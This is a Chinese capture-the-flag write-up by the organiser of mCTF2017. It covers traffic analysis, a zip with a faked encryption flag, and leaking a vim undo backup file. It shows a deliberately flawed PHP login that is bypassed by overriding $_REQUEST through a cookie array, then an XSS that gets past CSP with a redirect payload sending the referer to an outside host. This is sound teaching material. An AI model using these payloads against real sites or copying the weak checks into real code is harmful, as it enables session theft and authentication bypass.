..

mCTF2017 writeup

mCTF2017 writeup

选手 writeup

@__画船听雨 https://pan.baidu.com/s/1sljPuzV @王松_Striker http://pan.baidu.com/s/1miOBarA 密码: gpga @pcat http://pan.baidu.com/s/1i4S4CNb 密码:gb1f


大致是Web+Misc的出题方向思路,看了一些大佬发给的writeup,没有和预期的做题思路有太大偏差,其实题目也没涉及什么奇技淫巧,仔细看官方文档都能解决。

在微信公众里回复CTF关键字,拿到题目信息

提示很明显,这个邮箱会告诉你更多,向邮箱发任意消息会得到一个自动回复,内容是百度云盘里的一个zip包。

这里有个小问题,可能不会对某些邮箱或者进入垃圾箱的邮件自动回复,好在刚开始就发现了这个问题,后面改了公众号回复,把下载百度云盘直接贴出来了。

拿到zip,解压出来有一个被发现了.cap,很基础的流量审计题目,主要目的是从中拿到1.zip

然后其实zip是修改hex后的伪加密,这一步有多种解法,最简单直接cat,解开后里面的txt就是线上做题地址了。

拿到线上做题地址,打开看到是登录页面,后面分析access.log,这个页面很多sqlmap请求,看来有一部分人还是会想到注入,其实如果经常关注p牛博客的话,可能会对这句话有印象

哈哈,有理有据,这次也不例外,也是需要拿到登录页面的源码,常规的源码泄露思路也就是那些吧,备份习惯和编辑器问题啥的。

这时候就会有人开脚本扫了,但应该不会有什么收获,还可能被Ban IP,其实也并没有开Waf,貌似是阿里云给当成了ddos攻击

然后越来越多人在扫文件,怕这时候有人乱搞,考虑放出第一次hint

关键字:vim、文件备份,官方文档

接下来就很容易了吧,去翻一翻vim文档, Vim: vim_faq.txt

Soga,还有un~这种的,vim就是叼,vim就是强。构造这样的链接

http://60.205.183.92/mCTF2017/.login.php.un.~

后面在审计access.log的时候看到在放hint之前就有人fuzz到了这个文件名称,但是前面少了点,失之交臂,一般像这种备份文件都是会隐藏了的,Linux下隐藏文件就是在文件名前面加点。

拿到源码后看登录逻辑,addslashes和md5()后带入sql查询,首先排除掉有注入,然后一开始有个判断password不能是空,不然就die,然后在setcookie前有个判断。

<?php
include '../img/config-db.php';
header("Content-Security-Policy: default-src 'none'; script-src 'none' 'unsafe-inline'; style-src 'self'; img-src 'self'");
if(!isset($_POST[submit])){
	pass;
}else if(md5($_REQUEST[password]) == ''){
	die('error');
}else{
	$user = addslashes($_POST[username]);
	$passwd = md5($_POST[password]);
	$sql = "select `passwd` from users where user='{$user}'";
	$result = mysql_query($sql);
	$row = mysql_fetch_row($result);
	if($row[0] === $passwd){
		$mCTF_Cookie = md5($user.time().mt_rand(0,1000));
		setcookie('mCTF2017', $mCTF_Cookie, time()+3600, "/mCTF2017", "", FALSE, FALSE);
		mysql_query("INSERT INTO `Cookie` (`userid`,`cookie`) VALUES ('{$user}','{$mCTF_Cookie}')");
		header("Location:main.php");
	}else{
		$error = "{$user}不存在或密码错误";
	}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
	<form action="login.php" method="post">
		<span class="fontawesome-user"></span>
		<input type="text" name="username" value="">
		<span class="fontawesome-lock"></span>
		<input type="password" name="password" value="">
		<input type="submit" name="submit" value="Login">
	</form>
</div>
<?php echo $error; ?>
</body>
</html>

主要要看的逻辑在这里,这个是从其他CTF中学到的trick,如果$<$passwd 就会为null,然后sql查询的是user,如果在数据表里查不到也是会返回False,False后的也是一个数组,则会恒等。 参考:http://www.mauu.me/?p=210

	$user = addslashes($_POST[username]);
	$passwd = md5($_POST[password]);
	$sql = "select `passwd` from users where user='{$user}'";
	$result = mysql_query($sql);
	$row = mysql_fetch_row($result);
	if($row[0] === $passwd);

但是直接**$password[]=是不行的,因为前面还有不能为空的判断,不过取值却用了*$_REQUEST***,我们知道***$_REQUEST***是能接受GET和POST,但是POST会覆盖GET(默认是这样,具体要看php.ini里的设置),最后取到POST中的password还是会die。

}else if(md5($_REQUEST[password]) == ''){
	die('error');
}else{

翻文档里这样介绍***$_REQUEST***,这里没搞好,本意是想让大佬们关注一下php.ini相关的设置,但是cookie这个点太容易就能想到,就变得不好玩了。


在php5.X以上php.ini里variables_order和request_order会影响$_REQUEST接收和解析顺序。

variables_order默认是‘EGPCS’,解析顺序从左到右,后解析新值覆盖旧值。

S = $_SERVER
C = $_Cookie
P = $_POST
G = $_GET
E = $_ENV

php5.3.0后引入request_order,是专为*$_REQUEST*而引入的,出于安全考虑默认为‘GP’,不包含C(Cookie),解析顺序也是从左到右,后解析新值覆盖旧值。如果request_order为空,则遵循variables_order。 需要注意,variables_order不接收$_REQUEST。


前面判断是否为空用的$_REQUEST,因为php.ini中request_order=“GPC”,$_REQUEST先取到POST,然后Cookie会覆盖,从而可以通过。

顺利登陆后到了一个留言页面,秉着见框就X得职业本能,肯定要测试XSS,不过没这么简单,这里加入了CSP策略,需要注意script-src的设置,‘unsafe-inline’表示可以用内联脚本,就是可以构造<script>,但不能src一个外部js文件,真就安全了吗?

Content-Security-Policy: default-src 'none'; script-src 'none' 'unsafe-inline'; style-src 'self'; img-src 'self'

其实这里有几种办法可以绕,使用dns预读取可以绕过,有点像使用Cloudeye带数据,也可以使用跳转带出referer。

<script>location="http://xxxx.com/"</script>

更多大佬是使用直接跳转,访问referer里带的后台地址也会直接Set-Cookie,写代码时考虑过这点,一开始是有权限验证的,在上午出了点问题,索性就取消了。

拿到Cookie也不是最终的Flag,熟悉base编码字符集的同学可能会发现这个是经过base32编码后的,base32解码后拿到最终Flag